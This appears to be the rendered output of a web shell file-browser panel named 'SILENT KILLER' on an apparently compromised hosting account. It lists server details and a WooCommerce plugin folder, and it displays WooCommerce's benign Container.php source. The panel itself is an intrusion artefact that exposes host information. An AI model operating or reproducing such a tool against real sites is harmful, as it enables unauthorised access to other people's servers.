SILENT KILLERPanel

Current Path: > home > codekrsu > > ameliagraphics.com > wp-content > plugins > > > woocommerce > src


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/codekrsu//ameliagraphics.com/wp-content/plugins///woocommerce/src

NameTypeSizeLast ModifiedActions
Admin Directory - -
Blocks Directory - -
Caches Directory - -
Caching Directory - -
Checkout Directory - -
Database Directory - -
Enums Directory - -
Internal Directory - -
LayoutTemplates Directory - -
Proxies Directory - -
StoreApi Directory - -
Utilities Directory - -
Autoloader.php File 2059 bytes July 30 2024 19:31:16.
Container.php File 2811 bytes June 23 2025 19:46:28.
Deprecated.php File 588 bytes November 14 2024 01:17:00.
Packages.php File 12682 bytes March 03 2025 22:28:12.

Reading File: /home/codekrsu//ameliagraphics.com/wp-content/plugins///woocommerce/src/Container.php

<?php
/**
 * Container class file.
 */

declare( strict_types=1 );

namespace Automattic\WooCommerce;

use Automattic\WooCommerce\Internal\DependencyManagement\ContainerException;
use Automattic\WooCommerce\Internal\DependencyManagement\RuntimeContainer;

/**
 * PSR11 compliant dependency injection container for WooCommerce.
 *
 * Classes in the `src` directory should specify dependencies from that directory via an 'init' method having arguments
 * with type hints. If an instance of the container itself is needed, the type hint to use is \Psr\Container\ContainerInterface.
 *
 * Classes in the `src` directory should interact with anything outside (especially code in the `includes` directory
 * and WordPress functions) by using the classes in the `Proxies` directory. The exception is idempotent
 * functions (e.g. `wp_parse_url`), those can be used directly.
 *
 * Classes in the `includes` directory should use the `wc_get_container` function to get the instance of the container when
 * they need to get an instance of a class from the `src` directory.
 *
 * Internally, an instance of RuntimeContainer will be used for the actual class resolution. This class uses reflection
 * to instantiate classes and figure out dependencies, so there's no need for explicit class registration.
 * When running the unit tests suite this will be replaced with an instance of TestingContainer,
 * which provides additional functionality.
 */
final class Container {
	/**
	 * The underlying container.
	 *
	 * @var RuntimeContainer
	 */
	private $container;

	/**
	 * Class constructor.
	 */
	public function __construct() {
		// When the League container was in use we allowed to retrieve the container itself
		// by using 'Psr\Container\ContainerInterface' as the class identifier,
		// we continue allowing that for compatibility.
		$this->container = new RuntimeContainer(
			array(
				__CLASS__                          => $this,
				'Psr\Container\ContainerInterface' => $this,
			)
		);
	}

	/**
	 * Returns an instance of the specified class.
	 * See the comment about ContainerException in RuntimeContainer::get.
	 *
	 * @param string $id Class name.
	 *
	 * @return object Object instance.
	 *
	 * @throws ContainerException Error when resolving the class to an object instance, or class not found.
	 * @throws \Exception Exception thrown in the constructor or in the 'init' method of one of the resolved classes.
	 */
	public function get( string $id ) {
		return $this->container->get( $id );
	}

	/**
	 * Returns true if the container can return an instance of the given class or false otherwise.
	 * See the comment in RuntimeContainer::has.
	 *
	 * @param class-string $id Class name.
	 *
	 * @return bool
	 */
	public function has( string $id ): bool {
		return $this->container->has( $id );
	}
}

SILENT KILLER Tool